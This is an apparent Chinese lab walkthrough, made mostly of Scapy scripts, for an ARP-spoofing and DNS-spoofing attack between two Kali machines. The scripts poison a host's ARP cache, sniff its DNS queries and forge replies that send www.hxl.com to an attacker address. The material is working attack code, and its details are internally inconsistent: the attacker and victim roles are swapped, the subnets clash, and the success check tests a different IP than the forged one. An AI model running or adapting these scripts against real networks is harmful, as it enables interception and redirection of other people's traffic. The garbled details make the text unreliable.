KALI A(192.168.222.132)攻击
KALI B(192.168.23.133)被攻击
阶段一:KALI B启动ARP欺骗
#有效期更改为下述标红内容的标绿部分:ttl。
#如果解析为正常攻击机IP就去掉ARP欺骗。
#伪造IP部分更改为攻击机IP(查找替换将所有17.17替换为23.133)
在KALI B上打开终端1,启动ARP欺骗:
# 构造ARP欺骗包pdst为需要欺骗的主机
arp_spoof = ARP(op=2, pdst="192.168.222.133", psrc="192.168.222.17")
print("开始ARP欺骗:告诉192.168.222.133,我是192.168.222.17...")
# 持续发送,间隔1秒
send(arp_spoof, loop=1, inter=1)
保持此终端运行。
阶段二:KALI B准备DNS响应
在KALI B上打开终端2,监听并伪造DNS响应:
# 1. 定义嗅探过滤器
capture_filter = "udp port 53 and src host 192.168.222.133 and dst host 192.168.222.17"
print("正在监听受害者的DNS请求(www.hxl.com)...")
# 2. 抓取请求包
pkt_req = sniff(filter=capture_filter, count=1)[0]
print(f"截获DNS请求: {pkt_req[DNS].qd.qname.decode()}")
# 3. 验证查询的域名
requested_domain = pkt_req[DNS].qd.qname.decode()
if "hxl.com" in requested_domain.lower():
print(f"目标域名匹配: {requested_domain}")
# 4. 构造伪造的响应包
spoofed_resp = IP(src="192.168.222.17", dst="192.168.222.133") / \
UDP(sport=pkt_req[UDP].dport, dport=pkt_req[UDP].sport) / \
DNS(id=pkt_req[DNS].id, qr=1, aa=1, rd=1, ra=1,
qd=pkt_req[DNS].qd,
an=DNSRR(rrname=pkt_req[DNS].qd.qname, ttl=2017, rdata="192.168.222.132"))
# 5. 发送伪造响应
send(spoofed_resp)
print(f"已发送伪造DNS响应!将{requested_domain}解析到192.168.222.132")
else:
print(f"域名不匹配: {requested_domain},不进行欺骗")
阶段三:KALI A发起DNS查询
在KALI A上操作:
# 构造请求包 - 查询www.hxl.com
pkt1 = IP(dst="192.168.222.17")/UDP(sport=12345, dport=53)/DNS(id=1000, qr=0, rd=1, qd=DNSQR(qname="www.hxl.com"))
print("向192.168.222.17发送查询www.hxl.com...")
# 发送并等待回复
ans1 = sr1(pkt1, timeout=10)
# 如果收到包,查看结果
if ans1:
print("\n收到DNS响应!")
# 验证响应的源IP是否为192.168.222.17
print(f"响应来源: {ans1[IP].src}")
# 提取解析结果
if ans1[DNS].an:
fake_ip = ans1[DNS].an[0].rdata
print(f"www.hxl.com被解析为: {fake_ip}")
# 验证是否指向了攻击者
if fake_ip == "192.168.222.133":
print("DNS欺骗成功!www.hxl.com解析指向了攻击者。")
target_ip = ans1[DNS].an[0].rdata
print(f"正在Ping解析出的地址 {target_ip} ...")
# 使用sr1发送ICMP并等待回复
pkt2 = IP(dst=target_ip) / ICMP()
reply = sr1(pkt2, timeout=5)
if reply:
print(f"收到来自 {reply[IP].src} 的ICMP回复")
else:
print("没有收到ICMP回复")
阶段四:在KALI B上监控流量
在KALI B上打开终端3,监控相关流量:
或者只监控ICMP流量
sudo tcpdump -i eth0 icmp and src host 192.168.23.133
阶段五:验证与Ping
如果KALI A成功收到了解析结果,继续测试:
KALI A继续操作
if ans1 and ans1[DNS].an:
target_ip = ans1[DNS].an[0].rdata
print(f"正在Ping解析出的地址 {target_ip} ...")
# 使用sr1发送ICMP并等待回复
pkt2 = IP(dst=target_ip) / ICMP()
reply = sr1(pkt2, timeout=5)
if reply:
print(f"收到来自 {reply[IP].src} 的ICMP回复")
else:
print("没有收到ICMP回复")
浙公网安备 33010602011771号